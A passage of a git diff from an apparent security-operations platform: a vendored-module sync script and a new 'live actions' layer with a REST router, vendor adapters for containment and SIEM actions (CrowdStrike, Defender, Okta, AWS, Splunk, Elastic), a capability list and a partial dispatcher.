``aisoc-api`` Docker image is built with+``services/api`` as its build context, anything under ``services/agents`` is+not available at runtime. To keep the API container self-contained we ship a+vendored mirror of ``nl_query`` inside the API package.++Run modes+---------+* ``python scripts/sync_vendored_nl_query.py`` — copy source → vendored.+* ``python scripts/sync_vendored_nl_query.py --check`` — fail (exit 1) if the+ vendored tree is missing files or differs from the source. CI uses this mode.++The script is intentionally tiny and dependency-free so it can run in any CI+runner.+"""++from __future__ import annotations++import argparse+import filecmp+import shutil+import sys+from pathlib import Path++REPO_ROOT = Path(__file__).resolve().parents[1]+SOURCE_DIR = REPO_ROOT / "services" / "agents" / "app" / "nl_query"+VENDORED_DIR = REPO_ROOT / "services" / "api" / "app" / "_vendor" / "nl_query"++# Files we mirror. ``VENDORED.md`` lives only on the vendored side; everything+# else must match the source byte-for-byte.+SYNCED_FILES: tuple[str, ...] = ("__init__.py", "grammar.py", "translator.py")+VENDORED_ONLY: tuple[str, ...] = ("VENDORED.md",)+++def _list_source_files() -> list[Path]:+ if not SOURCE_DIR.is_dir():+ raise SystemExit(f"Source tree missing: {SOURCE_DIR}")+ files = sorted(p for p in SOURCE_DIR.iterdir() if p.is_file() and p.suffix == ".py")+ return files+++def _expected_filenames() -> set[str]:+ return {p.name for p in _list_source_files()}+++def _check() -> int:+ expected = _expected_filenames()+ declared = set(SYNCED_FILES)+ if expected != declared:+ missing = expected - declared+ extra = declared - expected+ print(+ "FAIL: SYNCED_FILES is out of date with the source tree.\n"+ f" Source files: {sorted(expected)}\n"+ f" Declared: {sorted(declared)}\n"+ f" Missing from script: {sorted(missing)}\n"+ f" No longer in source: {sorted(extra)}",+ file=sys.stderr,+ )+ return 1++ if not VENDORED_DIR.is_dir():+ print(f"FAIL: vendored directory missing: {VENDORED_DIR}", file=sys.stderr)+ return 1++ drift: list[str] = []+ for name in SYNCED_FILES:+ src = SOURCE_DIR / name+ dst = VENDORED_DIR / name+ if not dst.is_file():+ drift.append(f" - missing in vendored tree: {name}")+ continue+ if not filecmp.cmp(src, dst, shallow=False):+ drift.append(f" - out of date: {name}")++ # Make sure no stray extra .py files snuck into the vendored tree.+ vendored_pyfiles = {p.name for p in VENDORED_DIR.iterdir() if p.is_file() and p.suffix == ".py"}+ extra_py = vendored_pyfiles - set(SYNCED_FILES)+ for name in sorted(extra_py):+ drift.append(f" - unexpected file in vendored tree: {name}")++ if drift:+ print(+ "FAIL: vendored nl_query is out of sync with source.\n"+ + "\n".join(drift)+ + "\n\nRe-run: python scripts/sync_vendored_nl_query.py",+ file=sys.stderr,+ )+ return 1++ print("OK: vendored nl_query matches source tree.")+ return 0+++def _sync() -> int:+ expected = _expected_filenames()+ if expected != set(SYNCED_FILES):+ print(+ "WARNING: SYNCED_FILES is out of date with the source tree. "+ "Update the script's SYNCED_FILES tuple.\n"+ f" Source: {sorted(expected)}\n"+ f" Script: {sorted(SYNCED_FILES)}",+ file=sys.stderr,+ )+ return 1++ VENDORED_DIR.mkdir(parents=True, exist_ok=True)+ for name in SYNCED_FILES:+ src = SOURCE_DIR / name+ dst = VENDORED_DIR / name+ shutil.copy2(src, dst)+ print(f"copied {src.relative_to(REPO_ROOT)} → {dst.relative_to(REPO_ROOT)}")++ # Strip any stray .py files in the vendored tree that no longer exist in+ # the source (e.g. a renamed module). Leave VENDORED.md and __pycache__+ # untouched.+ for path in VENDORED_DIR.iterdir():+ if path.is_file() and path.suffix == ".py" and path.name not in SYNCED_FILES:+ print(f"removing stale {path.relative_to(REPO_ROOT)}")+ path.unlink()++ print("\nDone. Don't forget to commit the changes under "+ "services/api/app/_vendor/nl_query/.")+ return 0+++def main() -> int:+ parser = argparse.ArgumentParser(description=__doc__)+ parser.add_argument(+ "--check",+ action="store_true",+ help="Fail with a non-zero exit code if vendored nl_query is out of sync.",+ )+ args = parser.parse_args()+ return _check() if args.check else _sync()+++if __name__ == "__main__":+ raise SystemExit(main())diff --git a/scripts/validate_detections.py b/scripts/validate_detections.pyindex b7cb95cd9..74c457cb9 100755--- a/scripts/validate_detections.py+++ b/scripts/validate_detections.py@@ -58,8 +58,8 @@ SCRIPTS_DIR = ROOT / "scripts"if str(SCRIPTS_DIR) not in sys.path:sys.path.insert(0, str(SCRIPTS_DIR))-from generate_detections import matches # noqa: E402from detection_specs_index import all_specs # noqa: E402+from generate_detections import matches # noqa: E402VALID_SEVERITIES = {"low", "medium", "high", "critical"}VALID_CATEGORIES = {diff --git a/services/actions/app/api/live_actions_router.py b/services/actions/app/api/live_actions_router.pynew file mode 100644index 000000000..be2ddc3d8--- /dev/null+++ b/services/actions/app/api/live_actions_router.py@@ -0,0 +1,187 @@+"""+REST API for the generic live-action interface (Stage 2 #8).++Three endpoints:++ ``GET /api/v1/live-actions``+ Discovery. Returns every registered ``(vendor_id, capability)``+ pair plus its descriptor so the agent loop, the playbook editor,+ and the frontend can build action menus without hard-coding the+ vendor list.++ ``POST /api/v1/live-actions/dispatch``+ Synchronous dispatch. Looks up the executor for+ ``(vendor_id, capability)`` and runs it. ``dry_run=true`` strips+ credentials and the executor falls through to its simulation+ branch — see ``app.live_actions.builtins`` for the contract.++ ``POST /api/v1/live-actions/dry-run``+ Convenience wrapper that forces ``dry_run=true`` so frontends+ can render a "preview what this would do" button without having+ to know about the dry_run field. Internally identical to+ ``/dispatch``.++The router never raises HTTPException for executor-level failures —+those return ``LiveActionResult`` with ``status=failed`` so callers+have a uniform contract. ``HTTPException`` is reserved for genuinely+malformed requests (which Pydantic catches first anyway).+"""++from __future__ import annotations++from typing import Literal++import structlog+from fastapi import APIRouter+from pydantic import BaseModel, Field++from app.live_actions import (+ LiveActionDescriptor,+ LiveActionRequest,+ LiveActionResult,+ dispatch,+ list_capabilities_for_vendor,+ list_descriptors,+ list_vendors_for_capability,+)++logger = structlog.get_logger(__name__)+router = APIRouter(prefix="/live-actions", tags=["live-actions"])+++class LiveActionDiscoveryResponse(BaseModel):+ """Shape returned by ``GET /live-actions``.++ ``executors`` is the canonical list. ``vendors`` and ``capabilities``+ are derived sort-uniqued projections — they're cheap to compute and+ save the frontend from re-deriving them on every render.+ """++ executors: list[LiveActionDescriptor]+ vendors: list[str] = Field(+ ...,+ description="All vendor IDs that have at least one registered executor.",+ )+ capabilities: list[str] = Field(+ ...,+ description="All capability verbs that have at least one registered executor.",+ )+++ "",+ response_model=LiveActionDiscoveryResponse,+ summary="List every registered live action",+)+async def discover_live_actions(+ vendor_id: str | None = None,+ capability: str | None = None,+) -> LiveActionDiscoveryResponse:+ """Return all registered live actions, optionally filtered.++ Filtering is server-side so the agent planner can ask "what can+ isolate a host?" with one round-trip instead of pulling the full+ list and filtering in the prompt. Both filters are exact-match —+ capability and vendor_id are short strings drawn from a known+ vocabulary, so substring search would just hide typos.+ """+ descriptors = list_descriptors()+ if vendor_id:+ descriptors = [d for d in descriptors if d.vendor_id == vendor_id]+ if capability:+ descriptors = [d for d in descriptors if d.capability == capability]++ vendors = sorted({d.vendor_id for d in descriptors})+ capabilities = sorted({d.capability for d in descriptors})++ return LiveActionDiscoveryResponse(+ executors=descriptors,+ vendors=vendors,+ capabilities=capabilities,+ )+++ "/by-capability/{capability}",+ response_model=list[str],+ summary="List vendors that implement a given capability",+)+async def vendors_for_capability(capability: str) -> list[str]:+ """Return the vendor IDs that can perform ``capability``.++ Smaller payload than the full discovery response — used by the+ agent planner to answer "which vendors can isolate a host right now?".+ Returns ``[]`` (empty list, not 404) when no vendor implements the+ capability so callers don't have to special-case "missing" vs+ "everything's missing".+ """+ return list_vendors_for_capability(capability)+++ "/by-vendor/{vendor_id}",+ response_model=list[str],+ summary="List capabilities supported by a given vendor",+)+async def capabilities_for_vendor(vendor_id: str) -> list[str]:+ """Return the capability verbs implemented by ``vendor_id``."""+ return list_capabilities_for_vendor(vendor_id)+++class LiveActionDispatchResponse(BaseModel):+ """Wrapper around :class:`LiveActionResult` for REST callers.++ We wrap rather than returning the result directly so the response+ has a stable top-level shape — useful for adding cross-cutting+ fields (``trace_id``, ``cost_usd``, ...) later without breaking+ existing clients.+ """++ result: LiveActionResult+ mode: Literal["live", "dry_run"]+++ "/dispatch",+ response_model=LiveActionDispatchResponse,+ summary="Dispatch a live action to its registered executor",+)+async def dispatch_live_action(request: LiveActionRequest) -> LiveActionDispatchResponse:+ """Run a live action synchronously.++ The executor is responsible for honouring ``request.dry_run``.+ Builtin adapters (see ``app.live_actions.builtins``) enforce dry-run+ by stripping credential keys before delegating to the legacy+ executor, which then falls through to its simulation branch.++ Errors:+ Network glitches, vendor outages, or buggy executors all surface+ as ``LiveActionResult`` with ``status=failed`` and a populated+ ``error`` field. This endpoint never returns 5xx for executor+ failures — the agent loop relies on a uniform success-shape so+ it can decide whether to retry, fall back to a different vendor,+ or escalate to a human.+ """+ result = await dispatch(request)+ return LiveActionDispatchResponse(+ result=result,+ mode="dry_run" if request.dry_run else "live",+ )+++ "/dry-run",+ response_model=LiveActionDispatchResponse,+ summary="Dispatch a live action in dry-run mode (forces dry_run=true)",+)+async def dry_run_live_action(request: LiveActionRequest) -> LiveActionDispatchResponse:+ """Identical to ``/dispatch`` but forces ``dry_run=true``.++ Exists so the frontend can wire a "Preview" button to a single+ URL instead of having to mutate the request body. Also forms a+ cleaner audit trail: every call to ``/dry-run`` is *guaranteed*+ not to hit a real vendor, regardless of what the client sent.+ """+ safe_request = request.model_copy(update={"dry_run": True})+ result = await dispatch(safe_request)+ return LiveActionDispatchResponse(result=result, mode="dry_run")diff --git a/services/actions/app/live_actions/__init__.py b/services/actions/app/live_actions/__init__.pynew file mode 100644index 000000000..ba9d5b138--- /dev/null+++ b/services/actions/app/live_actions/__init__.py@@ -0,0 +1,70 @@+"""+Generic live-action interface for AiSOC.++This package implements Stage 2 #8: a registry-driven layer that lets+plugins (and in-tree adapters) implement action verbs (``isolate_host``,+``block_ip``, ...) for specific vendors (``crowdstrike``, ``defender``,+``aws_security_groups``, ...). The agent loop and playbook engine call+:func:`dispatcher.dispatch` with a :class:`models.LiveActionRequest`+keyed by ``(capability, vendor_id)`` and get a uniform+:class:`models.LiveActionResult` back.++Why this lives alongside (not on top of) the legacy ``ActionType``+registry:+ The legacy registry is used by the established Action Execution REST+ API and a large test suite. The live-action layer adds a more general+ routing model without forcing every downstream caller to migrate at+ once. Builtin adapters in :mod:`builtins` re-expose the existing+ executors under the new ``(vendor_id, capability)`` shape so the new+ endpoints work out of the box, and plugins can register additional+ executors via :func:`registry.register_executor` from their setup+ hook.++Public surface (the only names callers should import):++ - :class:`LiveActionRequest`, :class:`LiveActionResult`,+ :class:`LiveActionStatus`, :class:`LiveActionDescriptor`+ - :class:`LiveActionExecutor`+ - :func:`dispatch`+ - :func:`register_executor`, :func:`unregister_executor`,+ :func:`get_executor`, :func:`list_descriptors`+ - :func:`register_builtin_executors`+"""++from .builtins import register_builtin_executors+from .capabilities import KNOWN_CAPABILITIES+from .dispatcher import dispatch+from .executor import LiveActionExecutor+from .models import (+ LiveActionDescriptor,+ LiveActionRequest,+ LiveActionResult,+ LiveActionStatus,+)+from .registry import (+ get_executor,+ list_capabilities_for_vendor,+ list_descriptors,+ list_vendors_for_capability,+ register_executor,+ reset_for_tests,+ unregister_executor,+)++__all__ = [+ "KNOWN_CAPABILITIES",+ "LiveActionDescriptor",+ "LiveActionExecutor",+ "LiveActionRequest",+ "LiveActionResult",+ "LiveActionStatus",+ "dispatch",+ "get_executor",+ "list_capabilities_for_vendor",+ "list_descriptors",+ "list_vendors_for_capability",+ "register_builtin_executors",+ "register_executor",+ "reset_for_tests",+ "unregister_executor",+]diff --git a/services/actions/app/live_actions/builtins.py b/services/actions/app/live_actions/builtins.pynew file mode 100644index 000000000..00386c85e--- /dev/null+++ b/services/actions/app/live_actions/builtins.py@@ -0,0 +1,472 @@+"""+Builtin :class:`LiveActionExecutor` adapters for in-tree executors.++The existing ``services/actions/app/executors/*`` modules expose+vendor-aware executors keyed by ``ActionType``. They auto-select a+vendor at call time based on which credentials appear in+``ActionRequest.parameters`` (e.g. ``cs_client_id`` => CrowdStrike,+``mde_tenant_id`` => Microsoft Defender). That dispatch model worked+for the ActionType-based registry but it doesn't expose a clean+``(vendor_id, capability)`` mapping that the agent layer wants.++This module wraps each (vendor, capability) pair as its own+:class:`LiveActionExecutor`, so the live-action registry can answer+"who can isolate a host?" with a specific list of vendors instead+of one fuzzy "isolate_host" entry that may or may not have credentials.++Why adapters instead of porting the executors:+ The legacy executors are exercised by a substantial test suite+ (``services/actions/tests/``) and called from the Action Execution+ REST API. Rewriting them carries regression risk for zero functional+ benefit at this stage. The adapter layer is a thin bridge: it+ constructs the legacy ``ActionRequest``, calls the legacy executor,+ and translates the result into a :class:`LiveActionResult`.++Naming convention for ``vendor_id``:+ We use the matching ``connector_id`` from ``services/connectors``+ whenever one exists (``crowdstrike``, ``defender``, ``okta``,+ ``aws_security_groups``, ``splunk``, ``elastic``, ``slack``,+ ``jira``, ``servicenow``). For built-in actions that don't map to+ a single connector (e.g. the generic ``block_domain`` simulation),+ we use a descriptive vendor like ``"generic"`` so the agent loop+ has *some* vendor to plan against rather than failing the lookup.+"""++from __future__ import annotations++from typing import Any+from uuid import uuid4++import structlog++from app.executors.base import BaseExecutor+from app.executors.endpoint import (+ IsolateHostExecutor,+ KillProcessExecutor,+ QuarantineFileExecutor,+ RunAVScanExecutor,+ RunScriptExecutor,+)+from app.executors.identity import (+ DisableUserExecutor,+ ForceMFAExecutor,+ ResetPasswordExecutor,+ SuspendSessionExecutor,+)+from app.executors.network import (+ AllowIPExecutor,+ BlockDomainExecutor,+ BlockIPExecutor,+)+from app.executors.siem import (+ BlockIOCExecutor,+ CreateNotableEventExecutor,+ SearchSIEMExecutor,+ SyncDetectionRuleExecutor,+ UpdateWatcherExecutor,+)+from app.models.action import ActionRequest, ActionStatus, ActionType++from . import registry+from .executor import LiveActionExecutor+from .models import LiveActionRequest, LiveActionResult, LiveActionStatus++logger = structlog.get_logger(__name__)+++def _detect_simulation(output: dict[str, Any]) -> bool:+ """Best-effort: legacy executors signal simulation via a ``note`` string.++ This is a documented contract — every simulation branch in+ ``services/actions/app/executors/*.py`` writes a ``note`` field+ that begins with ``"Simulation mode"``. We detect that here so+ callers see ``LiveActionStatus.SIMULATED`` instead of having to+ parse output dicts themselves.+ """+ note = output.get("note", "")+ return isinstance(note, str) and note.startswith("Simulation mode")+++def _to_live_status(legacy_status: ActionStatus, output: dict[str, Any]) -> LiveActionStatus:+ """Translate a legacy ``ActionStatus`` into a :class:`LiveActionStatus`.++ Legacy status has more states (PENDING, AWAITING_APPROVAL, ...) but+ only three are reachable from a synchronous executor call: COMPLETED,+ FAILED, and (rarely) ROLLED_BACK. We collapse ROLLED_BACK into+ SUCCEEDED because rollback is out-of-scope for the live-action layer+ — see :class:`LiveActionExecutor` docstring for the rationale.+ """+ if legacy_status == ActionStatus.FAILED:+ return LiveActionStatus.FAILED+ if _detect_simulation(output):+ return LiveActionStatus.SIMULATED+ return LiveActionStatus.SUCCEEDED+++class _LegacyExecutorAdapter(LiveActionExecutor):+ """Wrap a legacy :class:`BaseExecutor` as a :class:`LiveActionExecutor`.++ Subclasses set ``vendor_id``, ``capability``, ``description``,+ ``requires_credentials``, ``_legacy_executor``, and the optional+ ``_credential_keys`` / ``_blast_radius_action_type`` fields. Doing+ the wrapping in a base class keeps the per-vendor adapters tiny+ (one class with three class-level attributes).+ """++ #: The legacy executor instance this adapter delegates to.+ _legacy_executor: BaseExecutor = None # type: ignore[assignment]++ #: ``ActionType`` used to compute blast radius + bridge into the legacy+ #: simulation gating. Required because the legacy ``ActionRequest``+ #: schema mandates an ``action_type`` field.+ _legacy_action_type: ActionType = None # type: ignore[assignment]++ #: Keys in ``request.params`` that signal "credentials present, this+ #: would talk to the real vendor". Used by the discovery API so the+ #: UI can show "credentials missing — will simulate" badges and by+ #: ``execute()`` to set ``requires_credentials`` correctly per call.+ #: An empty tuple means "no credentials are required at any point"+ #: (e.g. notifications via webhook URL only).+ _credential_keys: tuple[str, ...] = ()++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ # Legacy executors expect an ``ActionRequest`` populated with+ # ``incident_id`` / ``tenant_id`` / ``action_type``. The live-action+ # layer is incident-agnostic by design (it can be called from the+ # agent loop, a playbook, or an ad-hoc CLI), so we synthesise+ # placeholder UUIDs when the caller doesn't provide them. This+ # preserves the legacy contract without forcing every caller to+ # invent fake context.+ legacy_request = ActionRequest(+ incident_id=request.case_id or uuid4(),+ tenant_id=request.tenant_id or uuid4(),+ action_type=self._legacy_action_type,+ target=request.target,+ parameters=request.params,+ requested_by=request.requested_by,+ rationale="",+ )++ # ``dry_run`` short-circuit: the legacy executors don't all honour+ # a dry-run flag, so we enforce it here by stripping credentials.+ # The legacy executor will then fall through to its simulation+ # branch and we tag the result as SIMULATED. This is the safest+ # interpretation of "dry_run" — even a credentialed call must+ # not touch the real vendor.+ if request.dry_run:+ stripped = {k: v for k, v in request.params.items() if k not in self._credential_keys}+ legacy_request = legacy_request.model_copy(update={"parameters": stripped})++ legacy_result = await self._legacy_executor.execute(legacy_request)++ live_status = _to_live_status(legacy_result.status, legacy_result.output)++ summary = self._summarise(legacy_result.output, live_status)+ return LiveActionResult(+ request_id=request.request_id,+ status=live_status,+ capability=self.capability,+ vendor_id=self.vendor_id,+ summary=summary,+ details=dict(legacy_result.output),+ error=legacy_result.error,+ )++ def _summarise(self, output: dict[str, Any], status: LiveActionStatus) -> str:+ """Produce a one-line human-readable summary for the UI / audit log.++ Subclasses can override for vendor-specific shape, but the default+ captures the common case: ``<verb> <target> (<status>)``.+ """+ verb = self.capability.replace("_", " ")+ target = output.get("hostname") or output.get("ip") or output.get("user") or output.get("domain") or ""+ if status == LiveActionStatus.SIMULATED:+ return f"Simulated {verb} {target}".strip()+ if status == LiveActionStatus.FAILED:+ return f"Failed to {verb} {target}".strip()+ return f"{verb.capitalize()} {target}".strip()+++# ---------------------------------------------------------------------------+# Endpoint vendor adapters+# ---------------------------------------------------------------------------+#+# Both CrowdStrike and Defender share the legacy ``IsolateHostExecutor``;+# the executor picks vendor at runtime based on which credential block+# is present. Each adapter declares the credential keys it cares about so+# the discovery API can surface "credentials missing" accurately and so+# ``dry_run`` strips the right keys.+++class CrowdStrikeIsolateHost(_LegacyExecutorAdapter):+ vendor_id = "crowdstrike"+ capability = "isolate_host"+ description = "Contain a host on CrowdStrike Falcon (network containment)."+ requires_credentials = True+ _legacy_executor = IsolateHostExecutor()+ _legacy_action_type = ActionType.ISOLATE_HOST+ _credential_keys = ("cs_client_id", "cs_client_secret", "cs_base_url")+++class DefenderIsolateHost(_LegacyExecutorAdapter):+ vendor_id = "defender"+ capability = "isolate_host"+ description = "Isolate a machine on Microsoft Defender for Endpoint."+ requires_credentials = True+ _legacy_executor = IsolateHostExecutor()+ _legacy_action_type = ActionType.ISOLATE_HOST+ _credential_keys = ("mde_tenant_id", "mde_client_id", "mde_client_secret")+++class CrowdStrikeQuarantineFile(_LegacyExecutorAdapter):+ vendor_id = "crowdstrike"+ capability = "quarantine_file"+ description = "Quarantine a file via CrowdStrike Real-Time Response."+ requires_credentials = True+ _legacy_executor = QuarantineFileExecutor()+ _legacy_action_type = ActionType.QUARANTINE_FILE+ _credential_keys = ("cs_client_id", "cs_client_secret", "cs_base_url")+++class CrowdStrikeKillProcess(_LegacyExecutorAdapter):+ vendor_id = "crowdstrike"+ capability = "kill_process"+ description = "Terminate a running process via CrowdStrike RTR."+ requires_credentials = True+ _legacy_executor = KillProcessExecutor()+ _legacy_action_type = ActionType.KILL_PROCESS+ _credential_keys = ("cs_client_id", "cs_client_secret", "cs_base_url")+++class CrowdStrikeRunScript(_LegacyExecutorAdapter):+ vendor_id = "crowdstrike"+ capability = "run_script"+ description = "Run a pre-staged RTR script against a host."+ requires_credentials = True+ _legacy_executor = RunScriptExecutor()+ _legacy_action_type = ActionType.RUN_SCRIPT+ _credential_keys = ("cs_client_id", "cs_client_secret", "cs_base_url")+++class DefenderRunAVScan(_LegacyExecutorAdapter):+ vendor_id = "defender"+ capability = "run_av_scan"+ description = "Trigger an antivirus scan via Microsoft Defender for Endpoint."+ requires_credentials = True+ _legacy_executor = RunAVScanExecutor()+ _legacy_action_type = ActionType.RUN_AV_SCAN+ _credential_keys = ("mde_tenant_id", "mde_client_id", "mde_client_secret")+++# ---------------------------------------------------------------------------+# Identity vendor adapters (Okta)+# ---------------------------------------------------------------------------+++_OKTA_KEYS = ("okta_domain", "okta_api_token")+++class OktaDisableUser(_LegacyExecutorAdapter):+ vendor_id = "okta"+ capability = "disable_user"+ description = "Deactivate (disable) a user account in Okta."+ requires_credentials = True+ _legacy_executor = DisableUserExecutor()+ _legacy_action_type = ActionType.DISABLE_USER+ _credential_keys = _OKTA_KEYS+++class OktaResetPassword(_LegacyExecutorAdapter):+ vendor_id = "okta"+ capability = "reset_password"+ description = "Force a password reset for an Okta user."+ requires_credentials = True+ _legacy_executor = ResetPasswordExecutor()+ _legacy_action_type = ActionType.RESET_PASSWORD+ _credential_keys = _OKTA_KEYS+++class OktaSuspendSession(_LegacyExecutorAdapter):+ vendor_id = "okta"+ capability = "suspend_session"+ description = "Clear sessions and suspend an Okta user."+ requires_credentials = True+ _legacy_executor = SuspendSessionExecutor()+ _legacy_action_type = ActionType.SUSPEND_SESSION+ _credential_keys = _OKTA_KEYS+++class OktaForceMFA(_LegacyExecutorAdapter):+ vendor_id = "okta"+ capability = "force_mfa"+ description = "Force MFA re-enrollment for an Okta user."+ requires_credentials = True+ _legacy_executor = ForceMFAExecutor()+ _legacy_action_type = ActionType.FORCE_MFA+ _credential_keys = _OKTA_KEYS+++# ---------------------------------------------------------------------------+# Network vendor adapters+# ---------------------------------------------------------------------------+++_AWS_SG_KEYS = (+ "aws_access_key_id",+ "aws_secret_access_key",+ "aws_security_group_id",+ "aws_role_arn",+)+++class AwsSecurityGroupBlockIP(_LegacyExecutorAdapter):+ vendor_id = "aws_security_groups"+ capability = "block_ip"+ description = "Add a deny rule for an IP to an AWS Security Group."+ requires_credentials = True+ _legacy_executor = BlockIPExecutor()+ _legacy_action_type = ActionType.BLOCK_IP+ _credential_keys = _AWS_SG_KEYS+++class AwsSecurityGroupAllowIP(_LegacyExecutorAdapter):+ vendor_id = "aws_security_groups"+ capability = "allow_ip"+ description = "Remove a previously added deny rule from an AWS Security Group."+ requires_credentials = True+ _legacy_executor = AllowIPExecutor()+ _legacy_action_type = ActionType.ALLOW_IP+ _credential_keys = _AWS_SG_KEYS+++class GenericBlockDomain(_LegacyExecutorAdapter):+ vendor_id = "generic"+ capability = "block_domain"+ description = "Generic DNS-block placeholder; integrate with Route53 / Umbrella for live execution."+ requires_credentials = False+ _legacy_executor = BlockDomainExecutor()+ _legacy_action_type = ActionType.BLOCK_DOMAIN+ _credential_keys = ()+++# ---------------------------------------------------------------------------+# SIEM vendor adapters+# ---------------------------------------------------------------------------+#+# The SIEM executors handle both Splunk and Elastic — the legacy+# implementation chooses based on which credential block is present.+# We register the same legacy executor under each vendor with+# vendor-specific credential keys so dry-run + discovery work correctly.+++_SPLUNK_KEYS = ("splunk_host", "splunk_token", "splunk_index")+_ELASTIC_KEYS = ("elastic_host", "elastic_api_key", "elastic_index")+_DEFENDER_IOC_KEYS = ("mde_tenant_id", "mde_client_id", "mde_client_secret")+++class SplunkSearchSIEM(_LegacyExecutorAdapter):+ vendor_id = "splunk"+ capability = "search_siem"+ description = "Run a search against Splunk and return results."+ requires_credentials = True+ _legacy_executor = SearchSIEMExecutor()+ _legacy_action_type = ActionType.SEARCH_SIEM+ _credential_keys = _SPLUNK_KEYS+++class ElasticSearchSIEM(_LegacyExecutorAdapter):+ vendor_id = "elastic"+ capability = "search_siem"+ description = "Run an ES|QL or KQL search against Elasticsearch."+ requires_credentials = True+ _legacy_executor = SearchSIEMExecutor()+ _legacy_action_type = ActionType.SEARCH_SIEM+ _credential_keys = _ELASTIC_KEYS+++class SplunkCreateNotable(_LegacyExecutorAdapter):+ vendor_id = "splunk"+ capability = "create_notable_event"+ description = "Create a notable event in Splunk Enterprise Security."+ requires_credentials = True+ _legacy_executor = CreateNotableEventExecutor()+ _legacy_action_type = ActionType.CREATE_NOTABLE_EVENT+ _credential_keys = _SPLUNK_KEYS+++class SplunkSyncDetectionRule(_LegacyExecutorAdapter):+ vendor_id = "splunk"+ capability = "sync_detection_rule"+ description = "Create or update a Splunk saved search from an AiSOC detection."+ requires_credentials = True+ _legacy_executor = SyncDetectionRuleExecutor()+ _legacy_action_type = ActionType.SYNC_DETECTION_RULE+ _credential_keys = _SPLUNK_KEYS+++class ElasticUpdateWatcher(_LegacyExecutorAdapter):+ vendor_id = "elastic"+ capability = "update_watcher"+ description = "Create or update an Elasticsearch Watcher rule."+ requires_credentials = True+ _legacy_executor = UpdateWatcherExecutor()+ _legacy_action_type = ActionType.UPDATE_WATCHER+ _credential_keys = _ELASTIC_KEYS+++class DefenderBlockIOC(_LegacyExecutorAdapter):+ vendor_id = "defender"+ capability = "block_ioc"+ description = "Add an IoC to the Microsoft Defender block list."+ requires_credentials = True+ _legacy_executor = BlockIOCExecutor()+ _legacy_action_type = ActionType.BLOCK_IOC+ _credential_keys = _DEFENDER_IOC_KEYS+++# ---------------------------------------------------------------------------+# Registration entry point+# ---------------------------------------------------------------------------+++_BUILTIN_ADAPTERS: tuple[type[LiveActionExecutor], ...] = (+ # Endpoint+ CrowdStrikeIsolateHost,+ DefenderIsolateHost,+ CrowdStrikeQuarantineFile,+ CrowdStrikeKillProcess,+ CrowdStrikeRunScript,+ DefenderRunAVScan,+ # Identity (Okta)+ OktaDisableUser,+ OktaResetPassword,+ OktaSuspendSession,+ OktaForceMFA,+ # Network+ AwsSecurityGroupBlockIP,+ AwsSecurityGroupAllowIP,+ GenericBlockDomain,+ # SIEM+ SplunkSearchSIEM,+ ElasticSearchSIEM,+ SplunkCreateNotable,+ SplunkSyncDetectionRule,+ ElasticUpdateWatcher,+ DefenderBlockIOC,+)+++def register_builtin_executors(*, overwrite: bool = False) -> int:+ """Register every builtin adapter with the live-action registry.++ Idempotent when ``overwrite=True`` — useful in tests that want a+ clean baseline. In production, called once at app startup from+ ``main.py``. Returns the number of executors registered so the+ startup log can show ``"live_action.builtins_registered count=19"``.+ """+ count = 0+ for adapter_cls in _BUILTIN_ADAPTERS:+ registry.register_executor(adapter_cls(), source="builtin", overwrite=overwrite)+ count += 1+ logger.info("live_action.builtins_registered", count=count)+ return countdiff --git a/services/actions/app/live_actions/capabilities.py b/services/actions/app/live_actions/capabilities.pynew file mode 100644index 000000000..2e5a89c17--- /dev/null+++ b/services/actions/app/live_actions/capabilities.py@@ -0,0 +1,84 @@+"""+Known capability vocabulary for live actions.++This is a deliberate mirror of the ``Capability`` enum defined in+``services/connectors/app/connectors/base.py``. We mirror instead of+importing because:++ * Each AiSOC service is independently deployable. A hard import from+ ``services.actions`` into ``services.connectors`` would couple two+ deploy units that today have no dependency.+ * The mirror is small (a flat ``frozenset[str]``), trivially diffable+ in PRs, and used only for soft validation at registration time.++Adding a capability:+ 1. Add it to ``Capability`` in ``services/connectors/app/connectors/base.py``.+ 2. Add the same string here.+ 3. CI check (``services/actions/tests/test_capability_mirror.py``)+ compares the two sets and fails the build if they drift.++Plugins MAY register executors for capabilities outside this set — we+log a warning instead of refusing, because forcing a plugin author to+also patch the core service would defeat the point of having a plugin+SDK. The warning lets us notice drift in production.+"""++from __future__ import annotations++# Mirror of services/connectors/app/connectors/base.py::Capability values.+# Keep alphabetical within each group to make diffs obvious.+KNOWN_CAPABILITIES: frozenset[str] = frozenset(+ {+ # READ+ "pull_alerts",+ "pull_audit",+ "pull_file",+ "pull_logs",+ "pull_pcap",+ # QUERY+ "query_logs",+ "query_processes",+ # PIVOT+ "pivot_domain",+ "pivot_hash",+ "pivot_host",+ "pivot_ip",+ "pivot_user",+ # ENRICH+ "enrich_asset",+ "enrich_domain",+ "enrich_host",+ "enrich_ioc",+ "enrich_user",+ "enrich_vuln",+ # CONTAIN / REMEDIATE+ "block_domain",+ "block_hash",+ "block_user_signin",+ "disable_user",+ "isolate_host",+ "kill_process",+ "quarantine_file",+ "reset_password",+ "revoke_session",+ "revoke_token",+ "unisolate_host",+ # WS-E live action verbs+ "allow_ip",+ "block_ioc",+ "block_ip",+ "create_notable_event",+ "force_mfa",+ "run_av_scan",+ "run_script",+ "search_siem",+ "suspend_session",+ "sync_detection_rule",+ "update_watcher",+ # TICKET+ "push_case",+ "push_status",+ # AUDIT+ "read_audit_trail",+ }+)diff --git a/services/actions/app/live_actions/dispatcher.py b/services/actions/app/live_actions/dispatcher.pynew file mode 100644index 000000000..9dd4e7786--- /dev/null+++ b/services/actions/app/live_actions/dispatcher.py@@ -0,0 +1,90 @@+"""+Dispatch live-action requests to registered executors.++The dispatcher is the single entry point used by the REST router and by+internal callers (agent loop, playbook engine). It enforces three+invariants that individual executors should not have to think about:++ 1. **Unknown (vendor, capability) returns FAILED, not 500.** Callers+ get a structured :class:`LiveActionResult` so the agent loop can+ decide whether to fall back to a different vendor.+ 2. **Executor exceptions are caught and converted to FAILED.** A+ buggy plugin must never crash the actions service.+ 3. **Structured logs include request_id, vendor, capability, dry_run+ and outcome.** This is what feeds the audit trail and the cost+ dashboard.+"""++from __future__ import annotations++import structlog++from . import registry+from .models import LiveActionRequest, LiveActionResult, LiveActionStatus++logger = structlog.get_logger(__name__)+++async def dispatch(request: LiveActionRequest) -> LiveActionResult:+ """Run ``request`` through the registered executor and return a result.++ This function never raises for expected failure modes (unknown+ vendor, executor returning an error, executor raising). It always+ returns a :class:`LiveActionResult` so REST handlers and the agent+ loop have a single, predictable contract.+ """+ log = logger.bind(+ request_id=str(request.request_id),+ 